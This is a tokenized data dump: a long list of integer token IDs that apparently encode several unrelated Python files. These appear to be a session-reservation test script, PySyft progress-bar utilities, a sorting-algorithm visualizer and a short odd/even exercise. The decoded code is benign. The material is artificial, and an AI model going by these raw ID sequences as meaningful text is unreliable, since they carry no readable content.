426,
7924,
29918,
978,
29913,
338,
21676,
491,
426,
27205,
3919,
29918,
29906,
29918,
1367,
29913,
856,
1159,
13,
1678,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29906,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
451,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
29912,
7924,
29918,
978,
29913,
338,
451,
21676,
491,
426,
27205,
3919,
29918,
29906,
29918,
1367,
1836,
29905,
29876,
1159,
13,
13,
1678,
396,
853,
690,
7143,
373,
3132,
29871,
29896,
29889,
13,
1678,
1596,
29898,
29888,
29908,
2525,
690,
29530,
426,
7924,
29918,
978,
29913,
21676,
491,
426,
27205,
3919,
29918,
29896,
29918,
1367,
29913,
856,
1159,
13,
1678,
338,
29918,
348,
690,
9841,
29918,
5327,
353,
4867,
29918,
4645,
29889,
2525,
690,
7143,
29898,
13,
4706,
4867,
29918,
8768,
29889,
2525,
690,
7143,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29896,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
338,
29918,
348,
690,
9841,
29918,
5327,
29889,
275,
29918,
348,
690,
9841,
13,
1678,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29896,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29896,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
451,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29896,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
29912,
7924,
29918,
978,
29913,
338,
694,
5520,
21676,
491,
426,
27205,
3919,
29918,
29896,
29918,
1367,
1836,
29905,
29876,
1159,
13,
13,
1678,
1596,
29898,
29888,
29908,
1666,
29530,
426,
7924,
29918,
978,
29913,
363,
426,
27205,
3919,
29918,
29906,
29918,
1367,
29913,
856,
1159,
13,
1678,
23986,
29918,
5327,
353,
4867,
29918,
4645,
29889,
1666,
7143,
29898,
13,
4706,
4867,
29918,
8768,
29889,
1666,
7143,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29906,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
338,
29918,
690,
9841,
353,
23986,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
4974,
338,
29918,
690,
9841,
13,
1678,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29906,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
29912,
7924,
29918,
978,
29913,
338,
21676,
491,
426,
27205,
3919,
29918,
29906,
29918,
1367,
1836,
29905,
29876,
1159,
13,
13,
1678,
396,
2538,
300,
1923,
29889,
13,
1678,
1596,
29898,
29888,
29908,
27175,
1259,
278,
1923,
856,
1159,
13,
1678,
10092,
29918,
2974,
29918,
5327,
353,
4867,
29918,
4645,
29889,
27175,
6004,
29898,
7924,
29918,
8768,
29889,
27175,
6004,
3089,
3101,
13,
1678,
4974,
10092,
29918,
2974,
29918,
5327,
29889,
275,
29918,
2974,
29918,
12071,
13,
1678,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29906,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
451,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29906,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
3596,
21396,
505,
1063,
5764,
322,
620,
6972,
800,
505,
1063,
24639,
7790,
29876,
1159,
13,
13,
29937,
960,
405,
29902,
29899,
29903,
3217,
4162,
3450,
470,
16441,
3450,
8026,
385,
3682,
29892,
1596,
278,
1059,
2643,
29889,
13,
19499,
867,
6739,
29889,
29934,
6739,
2392,
408,
364,
6739,
29918,
2704,
29901,
13,
1678,
1059,
29918,
4906,
353,
364,
6739,
29918,
2704,
29889,
14144,
580,
13,
1678,
565,
364,
6739,
29918,
2704,
29889,
401,
580,
1275,
867,
6739,
29889,
5709,
3399,
29889,
29965,
3521,
20449,
6227,
6181,
29901,
13,
4706,
1059,
29918,
4906,
353,
285,
29908,
17776,
304,
4511,
304,
1923,
373,
426,
18603,
29918,
17744,
26785,
6177,
29912,
18603,
29918,
15082,
5038,
13,
1678,
25342,
364,
6739,
29918,
2704,
29889,
401,
580,
1275,
867,
6739,
29889,
5709,
3399,
29889,
3904,
29902,
3580,
1307,
13780,
3352,
29901,
13,
4706,
1059,
29918,
4906,
353,
313,
13,
9651,
376,
1576,
5858,
338,
451,
8762,
470,
338,
451,
6969,
29914,
17590,
297,
445,
2669,
29908,
13,
4706,
1723,
13,
1678,
1596,
29898,
29888,
29908,
29912,
2704,
29918,
4906,
27195,
13,
2
] |
syft/utils.py | morgangiraud/PySyft | 1 | 126388 | <filename>syft/utils.py
from IPython.display import display
from IPython.html.widgets import IntProgress, HBox, HTML
import signal
import logging
class Progress(object):
def __init__(self,start,end):
self.pbar = IntProgress(orientation='horizontal',min=start, max=end)
self.ptext = HTML()
# Only way to place text to the right of the bar is to use a container
container = HBox(children=[self.pbar, self.ptext])
display(container)
def update(self,value,stats):
self.pbar.value = value
out = "<div style='margin-left:5px; margin-top:5px;'>"
for stat in stats:
if(stat[0] != ''):
out += "<span style='margin-left:10px'>-</span><span style='margin-left:10px'><font face='courier' size='2'>"+str(stat[0]) + ": "+str(stat[1])+"</font></span>"
else:
out += "<span style='margin-left:10px'>-</span><span style='margin-left:10px'><font face='courier' size='2'>"+str(stat[1])+"</font></span>"
out += "</div>"
self.ptext.value = out
def success(self):
self.pbar.bar_style = 'success'
def info(self):
self.pbar.bar_style = 'info'
def warning(self):
self.pbar.bar_style = 'warning'
def danger(self):
self.pbar.bar_style = 'danger'
def normal(self):
self.pbar.bar_style = ''
# functionality that doesn't let keyboard interrupt break a process
# it's useful for helping things fail gracefully.
class DelayedKeyboardInterrupt(object):
def __enter__(self):
self.signal_received = False
self.old_handler = signal.signal(signal.SIGINT, self.handler)
def handler(self, sig, frame):
self.signal_received = (sig, frame)
logging.debug('SIGINT received. Delaying KeyboardInterrupt.')
def __exit__(self, type, value, traceback):
signal.signal(signal.SIGINT, self.old_handler)
if self.signal_received:
self.old_handler(*self.signal_received) | [
1,
529,
9507,
29958,
29879,
29891,
615,
29914,
13239,
29889,
2272,
13,
3166,
5641,
1656,
29889,
4990,
1053,
2479,
13,
3166,
5641,
1656,
29889,
1420,
29889,
8030,
29879,
1053,
3159,
14470,
29892,
379,
3313,
29892,
4544,
13,
13,
5215,
7182,
13,
5215,
12183,
13,
13,
1990,
20018,
29898,
3318,
1125,
13,
268,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2962,
29892,
355,
1125,
13,
13,
4706,
1583,
29889,
29886,
1646,
353,
3159,
14470,
29898,
20659,
2433,
22672,
742,
1195,
29922,
2962,
29892,
4236,
29922,
355,
29897,
13,
4706,
1583,
29889,
29886,
726,
353,
4544,
580,
13,
4706,
396,
9333,
982,
304,
2058,
1426,
304,
278,
1492,
310,
278,
2594,
338,
304,
671,
263,
5639,
13,
4706,
5639,
353,
379,
3313,
29898,
11991,
11759,
1311,
29889,
29886,
1646,
29892,
1583,
29889,
29886,
726,
2314,
13,
4706,
2479,
29898,
7611,
29897,
13,
268,
13,
1678,
822,
2767,
29898,
1311,
29892,
1767,
29892,
16202,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1767,
353,
995,
13,
4706,
714,
353,
9872,
4563,
3114,
2433,
9264,
29899,
1563,
29901,
29945,
1756,
29936,
5906,
29899,
3332,
29901,
29945,
1756,
29936,
11041,
29908,
13,
13,
4706,
363,
1002,
297,
22663,
29901,
13,
9651,
565,
29898,
6112,
29961,
29900,
29962,
2804,
6629,
1125,
13,
18884,
714,
4619,
9872,
9653,
3114,
2433,
9264,
29899,
1563,
29901,
29896,
29900,
1756,
11041,
29899,
829,
9653,
5299,
9653,
3114,
2433,
9264,
29899,
1563,
29901,
29896,
29900,
1756,
29915,
5299,
5657,
3700,
2433,
16589,
4336,
29915,
2159,
2433,
29906,
11041,
17969,
710,
29898,
6112,
29961,
29900,
2314,
718,
29242,
15691,
710,
29898,
6112,
29961,
29896,
2314,
13578,
829,
5657,
2565,
9653,
11903,
13,
9651,
1683,
29901,
13,
18884,
714,
4619,
9872,
9653,
3114,
2433,
9264,
29899,
1563,
29901,
29896,
29900,
1756,
11041,
29899,
829,
9653,
5299,
9653,
3114,
2433,
9264,
29899,
1563,
29901,
29896,
29900,
1756,
29915,
5299,
5657,
3700,
2433,
16589,
4336,
29915,
2159,
2433,
29906,
11041,
17969,
710,
29898,
6112,
29961,
29896,
2314,
13578,
829,
5657,
2565,
9653,
11903,
13,
13,
4706,
714,
4619,
25225,
4563,
11903,
13,
4706,
1583,
29889,
29886,
726,
29889,
1767,
353,
714,
13,
308,
13,
1678,
822,
2551,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1646,
29918,
3293,
353,
525,
8698,
29915,
259,
13,
308,
13,
1678,
822,
5235,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1646,
29918,
3293,
353,
525,
3888,
29915,
259,
13,
308,
13,
1678,
822,
9177,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1646,
29918,
3293,
353,
525,
27392,
29915,
259,
13,
308,
13,
1678,
822,
9703,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1646,
29918,
3293,
353,
525,
29881,
4600,
29915,
965,
13,
308,
13,
1678,
822,
4226,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29886,
1646,
29889,
1646,
29918,
3293,
353,
6629,
462,
259,
13,
13,
13,
29937,
9863,
393,
1838,
29915,
29873,
1235,
12247,
23754,
2867,
263,
1889,
13,
29937,
372,
29915,
29879,
5407,
363,
19912,
2712,
4418,
17659,
3730,
29889,
13,
1990,
5556,
388,
287,
2558,
3377,
4074,
6685,
29898,
3318,
1125,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
1583,
29889,
25436,
29918,
13556,
2347,
353,
7700,
13,
4706,
1583,
29889,
1025,
29918,
13789,
353,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
10192,
29892,
1583,
29889,
13789,
29897,
13,
13,
1678,
822,
7834,
29898,
1311,
29892,
4365,
29892,
3515,
1125,
13,
4706,
1583,
29889,
25436,
29918,
13556,
2347,
353,
313,
18816,
29892,
3515,
29897,
13,
4706,
12183,
29889,
8382,
877,
5425,
29954,
10192,
4520,
29889,
5556,
388,
292,
7670,
3377,
4074,
6685,
29889,
1495,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
1134,
29892,
995,
29892,
9637,
1627,
1125,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
10192,
29892,
1583,
29889,
1025,
29918,
13789,
29897,
13,
4706,
565,
1583,
29889,
25436,
29918,
13556,
2347,
29901,
13,
9651,
1583,
29889,
1025,
29918,
13789,
10456,
1311,
29889,
25436,
29918,
13556,
2347,
29897,
308,
2
] |
Sorts.py | rstenmark/SortVisualizer | 1 | 117122 | <reponame>rstenmark/SortVisualizer<gh_stars>1-10
''' Graph2D/Sorts.py
Author: <NAME> <<EMAIL>> (rstenmark.github.io)
Date: May 16, 2019
'''
from random import randint
from sys import maxsize
import BarGraph as bg
def swap(array, i, j):
# Swaps the elements at self.array[i] and self.array[j]
k = array[i]
array[i] = array[j]
array[j] = k
def is_sorted(array, mintomax=True):
arraysz = len(array)
if mintomax is True:
for i in range(1, arraysz):
if array[i] >= array[i-1]:
continue
else:
return False
else:
for i in range(1, arraysz):
if array[i] <= array[i-1]:
continue
else:
return False
return True
def bogosort(bargraph, mintomax=True):
# Get array and array size
array = bargraph.array
arraysz = len(bargraph.array)-1
# Check if array is sorted before doing anything
if is_sorted(array, mintomax):
bargraph.reset_cursors()
return True
# Get cursor position before operation
cursor = bargraph.get_cursor(0)
# Reset all bar colors to white
bargraph.reset_colors()
# Increment cursor position & wrap around
if cursor < arraysz:
bargraph.set_cursor(0, cursor+1)
else:
bargraph.set_cursor(0, 0)
# Determine random element to swap with cursor element
j = randint(0, arraysz)
# Perform swap operation
if not cursor == j:
bargraph.swapWithCursor(0, j)
# Set element at j to green
bargraph.set_cursor(1, j, bg.green)
def bubblesort(bargraph, mintomax=True):
# Get array and array size
array = bargraph.array
arraysz = len(bargraph.array)-1
# Check if array is sorted before doing anything
if is_sorted(array, mintomax):
bargraph.reset_cursors()
return True
# Reset all bar colors to white
bargraph.reset_colors()
# Increment cursor position & wrap around
i = bargraph.get_cursor(0)
if i < arraysz-1:
bargraph.set_cursor(0, i+1)
else:
bargraph.set_cursor(0, 0)
# Set element at j to green
i = bargraph.get_cursor(0)
j = i + 1
bargraph.set_color(j, bg.green)
if mintomax is True:
if array[i] > array[j]:
swap(array, i, j)
else:
if array[i] < array[j]:
swap(array, i, j)
def _sort(bargraph, mintomax=True):
# Get array and array size
array = bargraph.array
arraysz = len(bargraph.array)-1
# Check if array is sorted before doing anything
if is_sorted(array, mintomax):
bargraph.reset_cursors()
return True
bargraph.reset_colors()
i = bargraph.get_cursor(0)
j = bargraph.get_cursor(1)
# If the parent cursor is at the end of array
# Reset both cursors to index 0
if i+1 > arraysz:
i = 0
bargraph.set_cursor(0, i)
bargraph.set_cursor(1, i)
# If search cursor is at the end of array
# Move parent cursor forward and move search cursor to parent
if j+1 > arraysz:
bargraph.set_cursor(0, i+1)
bargraph.set_cursor(1, i+1, bg.green)
j = i+1
# Otherwise move search cursor forward
else:
# Keep parent cursor highlighted
bargraph.set_cursor(0, i)
bargraph.set_cursor(1, j+1, bg.green)
j +=1
if mintomax is True:
if array[i] >= array[j]:
swap(array, i, j)
bargraph.set_cursor(0, i+1)
bargraph.set_cursor(1, i+1)
else:
if array[i] <= array[j]:
swap(array, i, j)
bargraph.set_cursor(0, i+1)
bargraph.set_cursor(1, i+1)
bargraph.update_cursors(2)
def selectionsort(bargraph, mintomax=True):
# Get array and array size
array = bargraph.array
arraysz = len(bargraph.array)-1
# Check if array is sorted before doing anything
if is_sorted(array, mintomax):
bargraph.reset_cursors()
return True
bargraph.reset_colors()
i = bargraph.get_cursor(0)
j = bargraph.get_cursor(1)
if j+1 <= arraysz:
# Haven't searched entire space
# Move search cursor forward
bargraph.set_cursor(1, j+1, bg.green)
j = bargraph.get_cursor(1)
if array[j] <= array[bargraph.get_cursor(2)] and array[j] <= array[i]:
# If array[j] is less than the parent cursor value
# and less than the previous found minimum value
# make it the new minimum value
bargraph.set_cursor(2, j, bg.blue)
else:
# Searched entire space
# Swap the found new minimum with parent cursor
min = bargraph.get_cursor(2)
swap(array, i, min)
bargraph.set_cursor(2, i+1, bg.blue)
bargraph.set_cursor(1, i+1, bg.green)
bargraph.set_cursor(0, i+1)
bargraph.update_cursors(3) | [
1,
529,
276,
1112,
420,
29958,
29878,
3510,
3502,
29914,
13685,
16227,
3950,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
12008,
12367,
29906,
29928,
29914,
13685,
29879,
29889,
2272,
13,
1678,
13361,
29901,
529,
5813,
29958,
3532,
26862,
6227,
6778,
313,
29878,
3510,
3502,
29889,
3292,
29889,
601,
29897,
13,
1678,
4712,
29901,
2610,
29871,
29896,
29953,
29892,
29871,
29906,
29900,
29896,
29929,
13,
12008,
13,
13,
3166,
4036,
1053,
20088,
524,
13,
3166,
10876,
1053,
4236,
2311,
13,
5215,
2261,
9527,
408,
25989,
13,
13,
13,
1753,
17945,
29898,
2378,
29892,
474,
29892,
432,
1125,
13,
1678,
396,
3925,
2547,
278,
3161,
472,
1583,
29889,
2378,
29961,
29875,
29962,
322,
1583,
29889,
2378,
29961,
29926,
29962,
13,
1678,
413,
353,
1409,
29961,
29875,
29962,
13,
1678,
1409,
29961,
29875,
29962,
353,
1409,
29961,
29926,
29962,
13,
1678,
1409,
29961,
29926,
29962,
353,
413,
13,
13,
1753,
338,
29918,
24582,
29898,
2378,
29892,
20559,
290,
1165,
29922,
5574,
1125,
13,
1678,
1409,
3616,
353,
7431,
29898,
2378,
29897,
13,
1678,
565,
20559,
290,
1165,
338,
5852,
29901,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
1409,
3616,
1125,
13,
9651,
565,
1409,
29961,
29875,
29962,
6736,
1409,
29961,
29875,
29899,
29896,
5387,
13,
18884,
6773,
13,
9651,
1683,
29901,
13,
18884,
736,
7700,
13,
1678,
1683,
29901,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
1409,
3616,
1125,
13,
9651,
565,
1409,
29961,
29875,
29962,
5277,
1409,
29961,
29875,
29899,
29896,
5387,
13,
18884,
6773,
13,
9651,
1683,
29901,
13,
18884,
736,
7700,
13,
13,
1678,
736,
5852,
13,
13,
1753,
26652,
359,
441,
29898,
29890,
1191,
1140,
29892,
20559,
290,
1165,
29922,
5574,
1125,
13,
1678,
396,
3617,
1409,
322,
1409,
2159,
13,
1678,
1409,
353,
289,
1191,
1140,
29889,
2378,
13,
1678,
1409,
3616,
353,
7431,
29898,
29890,
1191,
1140,
29889,
2378,
6817,
29896,
13,
13,
1678,
396,
5399,
565,
1409,
338,
12705,
1434,
2599,
3099,
13,
1678,
565,
338,
29918,
24582,
29898,
2378,
29892,
20559,
290,
1165,
1125,
13,
4706,
289,
1191,
1140,
29889,
12071,
29918,
29883,
1295,
943,
580,
13,
4706,
736,
5852,
13,
13,
1678,
396,
3617,
10677,
2602,
1434,
5858,
13,
1678,
10677,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29900,
29897,
13,
13,
1678,
396,
2538,
300,
599,
2594,
11955,
304,
4796,
13,
1678,
289,
1191,
1140,
29889,
12071,
29918,
27703,
580,
13,
13,
1678,
396,
512,
17053,
10677,
2602,
669,
12244,
2820,
13,
1678,
565,
10677,
529,
1409,
3616,
29901,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
10677,
29974,
29896,
29897,
13,
1678,
1683,
29901,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
29871,
29900,
29897,
13,
13,
1678,
396,
5953,
837,
457,
4036,
1543,
304,
17945,
411,
10677,
1543,
13,
1678,
432,
353,
20088,
524,
29898,
29900,
29892,
1409,
3616,
29897,
13,
13,
1678,
396,
27313,
17945,
5858,
13,
1678,
565,
451,
10677,
1275,
432,
29901,
13,
4706,
289,
1191,
1140,
29889,
26276,
3047,
19890,
29898,
29900,
29892,
432,
29897,
13,
13,
1678,
396,
3789,
1543,
472,
432,
304,
7933,
13,
1678,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
432,
29892,
25989,
29889,
12692,
29897,
13,
13,
1753,
289,
431,
7586,
441,
29898,
29890,
1191,
1140,
29892,
20559,
290,
1165,
29922,
5574,
1125,
13,
1678,
396,
3617,
1409,
322,
1409,
2159,
13,
1678,
1409,
353,
289,
1191,
1140,
29889,
2378,
13,
1678,
1409,
3616,
353,
7431,
29898,
29890,
1191,
1140,
29889,
2378,
6817,
29896,
13,
13,
1678,
396,
5399,
565,
1409,
338,
12705,
1434,
2599,
3099,
13,
1678,
565,
338,
29918,
24582,
29898,
2378,
29892,
20559,
290,
1165,
1125,
13,
4706,
289,
1191,
1140,
29889,
12071,
29918,
29883,
1295,
943,
580,
13,
4706,
736,
5852,
13,
13,
1678,
396,
2538,
300,
599,
2594,
11955,
304,
4796,
13,
1678,
289,
1191,
1140,
29889,
12071,
29918,
27703,
580,
13,
13,
1678,
396,
512,
17053,
10677,
2602,
669,
12244,
2820,
13,
1678,
474,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29900,
29897,
13,
1678,
565,
474,
529,
1409,
3616,
29899,
29896,
29901,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29974,
29896,
29897,
13,
1678,
1683,
29901,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
29871,
29900,
29897,
13,
13,
1678,
396,
3789,
1543,
472,
432,
304,
7933,
13,
1678,
474,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29900,
29897,
13,
1678,
432,
353,
474,
718,
29871,
29896,
13,
1678,
289,
1191,
1140,
29889,
842,
29918,
2780,
29898,
29926,
29892,
25989,
29889,
12692,
29897,
13,
13,
1678,
565,
20559,
290,
1165,
338,
5852,
29901,
13,
4706,
565,
1409,
29961,
29875,
29962,
1405,
1409,
29961,
29926,
5387,
13,
9651,
17945,
29898,
2378,
29892,
474,
29892,
432,
29897,
13,
1678,
1683,
29901,
13,
4706,
565,
1409,
29961,
29875,
29962,
529,
1409,
29961,
29926,
5387,
13,
9651,
17945,
29898,
2378,
29892,
474,
29892,
432,
29897,
13,
13,
1753,
903,
6605,
29898,
29890,
1191,
1140,
29892,
20559,
290,
1165,
29922,
5574,
1125,
13,
1678,
396,
3617,
1409,
322,
1409,
2159,
13,
1678,
1409,
353,
289,
1191,
1140,
29889,
2378,
13,
1678,
1409,
3616,
353,
7431,
29898,
29890,
1191,
1140,
29889,
2378,
6817,
29896,
13,
13,
1678,
396,
5399,
565,
1409,
338,
12705,
1434,
2599,
3099,
13,
1678,
565,
338,
29918,
24582,
29898,
2378,
29892,
20559,
290,
1165,
1125,
13,
4706,
289,
1191,
1140,
29889,
12071,
29918,
29883,
1295,
943,
580,
13,
4706,
736,
5852,
13,
13,
1678,
289,
1191,
1140,
29889,
12071,
29918,
27703,
580,
13,
13,
1678,
474,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29900,
29897,
13,
1678,
432,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29896,
29897,
13,
13,
1678,
396,
960,
278,
3847,
10677,
338,
472,
278,
1095,
310,
1409,
13,
1678,
396,
2538,
300,
1716,
18580,
943,
304,
2380,
29871,
29900,
13,
1678,
565,
474,
29974,
29896,
1405,
1409,
3616,
29901,
13,
4706,
474,
353,
29871,
29900,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
474,
29897,
13,
13,
1678,
396,
960,
2740,
10677,
338,
472,
278,
1095,
310,
1409,
13,
1678,
396,
25249,
3847,
10677,
6375,
322,
4337,
2740,
10677,
304,
3847,
13,
1678,
565,
432,
29974,
29896,
1405,
1409,
3616,
29901,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29974,
29896,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
474,
29974,
29896,
29892,
25989,
29889,
12692,
29897,
13,
4706,
432,
353,
474,
29974,
29896,
13,
4706,
396,
13466,
4337,
2740,
10677,
6375,
13,
1678,
1683,
29901,
13,
4706,
396,
19152,
3847,
10677,
12141,
287,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
432,
29974,
29896,
29892,
25989,
29889,
12692,
29897,
13,
4706,
432,
4619,
29896,
13,
13,
1678,
565,
20559,
290,
1165,
338,
5852,
29901,
13,
4706,
565,
1409,
29961,
29875,
29962,
6736,
1409,
29961,
29926,
5387,
13,
9651,
17945,
29898,
2378,
29892,
474,
29892,
432,
29897,
13,
9651,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29974,
29896,
29897,
13,
9651,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
474,
29974,
29896,
29897,
13,
1678,
1683,
29901,
13,
4706,
565,
1409,
29961,
29875,
29962,
5277,
1409,
29961,
29926,
5387,
13,
9651,
17945,
29898,
2378,
29892,
474,
29892,
432,
29897,
13,
9651,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29974,
29896,
29897,
13,
9651,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
474,
29974,
29896,
29897,
13,
13,
1678,
289,
1191,
1140,
29889,
5504,
29918,
29883,
1295,
943,
29898,
29906,
29897,
13,
13,
1753,
409,
5942,
441,
29898,
29890,
1191,
1140,
29892,
20559,
290,
1165,
29922,
5574,
1125,
13,
1678,
396,
3617,
1409,
322,
1409,
2159,
13,
1678,
1409,
353,
289,
1191,
1140,
29889,
2378,
13,
1678,
1409,
3616,
353,
7431,
29898,
29890,
1191,
1140,
29889,
2378,
6817,
29896,
13,
13,
1678,
396,
5399,
565,
1409,
338,
12705,
1434,
2599,
3099,
13,
1678,
565,
338,
29918,
24582,
29898,
2378,
29892,
20559,
290,
1165,
1125,
13,
4706,
289,
1191,
1140,
29889,
12071,
29918,
29883,
1295,
943,
580,
13,
4706,
736,
5852,
13,
13,
1678,
289,
1191,
1140,
29889,
12071,
29918,
27703,
580,
13,
13,
1678,
474,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29900,
29897,
13,
1678,
432,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29896,
29897,
13,
13,
1678,
565,
432,
29974,
29896,
5277,
1409,
3616,
29901,
13,
4706,
396,
379,
3496,
29915,
29873,
17371,
4152,
2913,
13,
4706,
396,
25249,
2740,
10677,
6375,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
432,
29974,
29896,
29892,
25989,
29889,
12692,
29897,
13,
4706,
432,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29896,
29897,
13,
13,
4706,
565,
1409,
29961,
29926,
29962,
5277,
1409,
29961,
29890,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29906,
4638,
322,
1409,
29961,
29926,
29962,
5277,
1409,
29961,
29875,
5387,
13,
9651,
396,
960,
1409,
29961,
29926,
29962,
338,
3109,
1135,
278,
3847,
10677,
995,
13,
9651,
396,
322,
3109,
1135,
278,
3517,
1476,
9212,
995,
13,
9651,
396,
1207,
372,
278,
716,
9212,
995,
13,
9651,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29906,
29892,
432,
29892,
25989,
29889,
9539,
29897,
13,
13,
1678,
1683,
29901,
13,
4706,
396,
11856,
287,
4152,
2913,
13,
4706,
396,
3925,
481,
278,
1476,
716,
9212,
411,
3847,
10677,
13,
4706,
1375,
353,
289,
1191,
1140,
29889,
657,
29918,
18127,
29898,
29906,
29897,
13,
4706,
17945,
29898,
2378,
29892,
474,
29892,
1375,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29906,
29892,
474,
29974,
29896,
29892,
25989,
29889,
9539,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29896,
29892,
474,
29974,
29896,
29892,
25989,
29889,
12692,
29897,
13,
4706,
289,
1191,
1140,
29889,
842,
29918,
18127,
29898,
29900,
29892,
474,
29974,
29896,
29897,
13,
13,
1678,
289,
1191,
1140,
29889,
5504,
29918,
29883,
1295,
943,
29898,
29941,
29897,
2
] |
functions_advanced/exercise/02_odd_or_even.py | Galchov/python-advanced | 0 | 112516 | <reponame>Galchov/python-advanced
command = input()
numbers_sequence = [int(x) for x in input().split()]
odd_numbers = []
even_numbers = []
for number in numbers_sequence:
if number % 2 == 0:
even_numbers.append(number)
else:
odd_numbers.append(number)
if command == 'Odd':
print(sum(odd_numbers) * len(numbers_sequence))
elif command == 'Even':
print(sum(even_numbers) * len(numbers_sequence))
| [
1,
529,
276,
1112,
420,
29958,
29954,
284,
305,
586,
29914,
4691,
29899,
328,
16858,
13,
6519,
353,
1881,
580,
13,
20326,
29918,
16506,
353,
518,
524,
29898,
29916,
29897,
363,
921,
297,
1881,
2141,
5451,
580,
29962,
13,
13,
22861,
29918,
20326,
353,
5159,
13,
11884,
29918,
20326,
353,
5159,
13,
13,
1454,
1353,
297,
